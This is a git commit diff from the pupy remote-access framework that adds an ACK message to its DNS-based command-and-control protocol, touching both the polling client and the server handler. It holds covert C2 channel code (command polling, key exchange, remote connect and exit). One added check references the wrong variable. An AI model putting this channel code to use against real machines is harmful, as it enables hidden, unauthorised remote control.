mirror of https://github.com/n1nj4sec/pupy.git
DNSCNC minor improvements
[+] Add ACK packet type. It's possible that multiple same packets will arrive to server, and that response which doesn't contains commands will be delivered to the client
This commit is contained in:
parent
8bfae8bb50
commit
308ebe2df6
|
@ -1,3 +1,5 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
import string
|
||||
|
||||
def ascii85EncodeDG(str):
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
# Copyright (c) 2010, 2011, 2012, 2015 Guilherme Gondim. All rights reserved.
|
||||
# Copyright (c) 2009 Simon Willison. All rights reserved.
|
||||
# Copyright (c) 2002 Drew Perttula. All rights reserved.
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import struct
|
||||
import socket
|
||||
|
@ -175,6 +175,9 @@ class DnsCommandsClient(Thread):
|
|||
def process(self):
|
||||
commands = list(self._request(Poll()))
|
||||
logging.debug('commands: {}'.format(commands))
|
||||
ack = self._request(Ack(len(commands)))
|
||||
if not ( len(ack) == 1 and isinstance(ack[0], Ack)):
|
||||
logging.error('ACK <-> ACK failed: received: {}'.format(ack))
|
||||
|
||||
for command in commands:
|
||||
responses = []
|
||||
|
@ -193,7 +196,10 @@ class DnsCommandsClient(Thread):
|
|||
key = self.encoder.process_kex_response(response[0].parcel)
|
||||
self.spi = kex.spi
|
||||
elif isinstance(command, Poll):
|
||||
responses = self._request(SystemInfo())
|
||||
ack = self._request(SystemInfo())
|
||||
if not len(response) == 1 and not isinstance(response[0], Ack):
|
||||
logging.error('SystemInfo: ACK expected but {} found'.format(
|
||||
response))
|
||||
elif isinstance(command, PasteLink):
|
||||
self.on_pastelink(command.url, command.action, self.encoder)
|
||||
elif isinstance(command, Connect):
|
||||
|
@ -203,13 +209,9 @@ class DnsCommandsClient(Thread):
|
|||
elif isinstance(command, Disconnect):
|
||||
self.on_disconnect()
|
||||
elif isinstance(command, Exit):
|
||||
responses = self._request(Exit())
|
||||
self.active = False
|
||||
self.on_exit()
|
||||
|
||||
for command in responses:
|
||||
commands.append(command)
|
||||
|
||||
def run(self):
|
||||
while True:
|
||||
try:
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
from tinyec import ec, registry
|
||||
import os
|
||||
import math
|
||||
|
|
|
@ -1,3 +1,5 @@
|
|||
# -*- coding: utf-8 -*-
|
||||
|
||||
import struct
|
||||
import netaddr
|
||||
import re
|
||||
|
@ -41,6 +43,21 @@ class Poll(Command):
|
|||
def __repr__(self):
|
||||
return '{POLL}'
|
||||
|
||||
class Ack(Command):
|
||||
def __init__(self, amount=0):
|
||||
self.amount = amount
|
||||
|
||||
def pack(self):
|
||||
return chr(self.amount)
|
||||
|
||||
@staticmethod
|
||||
def unpack(data):
|
||||
return Ack(amount=ord(data[0])), 1
|
||||
|
||||
def __repr__(self):
|
||||
return '{{ACK ({})}}'.format(self.amount)
|
||||
|
||||
|
||||
class Idle(Command):
|
||||
@staticmethod
|
||||
def unpack(data):
|
||||
|
@ -418,7 +435,7 @@ class ParcelInvalidCommand(Exception):
|
|||
class Parcel(object):
|
||||
# Explicitly define commands. In other case make break something
|
||||
commands = [
|
||||
Poll, Policy, Idle, Kex,
|
||||
Poll, Ack, Policy, Idle, Kex,
|
||||
Connect, PasteLink, SystemInfo, Error, Disconnect, Exit
|
||||
]
|
||||
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import copy
|
||||
import struct
|
||||
|
@ -269,6 +269,9 @@ class DnsCommandServerHandler(BaseResolver):
|
|||
if isinstance(command, Poll) and session is None:
|
||||
return [Policy(self.interval, self.kex), Poll()]
|
||||
|
||||
elif isinstance(command, Ack) and (session is None):
|
||||
return [Ack()]
|
||||
|
||||
elif isinstance(command, Exit):
|
||||
if session and session.system_info:
|
||||
self.on_exit(session.system_info)
|
||||
|
@ -279,16 +282,21 @@ class DnsCommandServerHandler(BaseResolver):
|
|||
return [Exit()]
|
||||
|
||||
elif isinstance(command, Poll) and (session is not None):
|
||||
self.on_keep_alive(session.system_info)
|
||||
commands = session.commands
|
||||
session.commands = []
|
||||
return commands
|
||||
self.on_keep_alive(session.system_info)
|
||||
commands = session.commands
|
||||
return commands
|
||||
|
||||
elif isinstance(command, Ack) and (session is not None):
|
||||
self.on_keep_alive(session.system_info)
|
||||
if command.amount > len(session.commands):
|
||||
logging.error('ACK: invalid amount of commands: {} > {}'.format(
|
||||
command.amount, len(session.commands)))
|
||||
session.commands = session.commands[command.amount:]
|
||||
return [Ack()]
|
||||
|
||||
elif isinstance(command, SystemInfo) and session is not None:
|
||||
session.system_info = command.get_dict()
|
||||
commands = session.commands
|
||||
session.commands = []
|
||||
return commands
|
||||
return [Ack()]
|
||||
|
||||
elif isinstance(command, Kex):
|
||||
with self.lock:
|
||||
|
|
Loading…
Reference in New Issue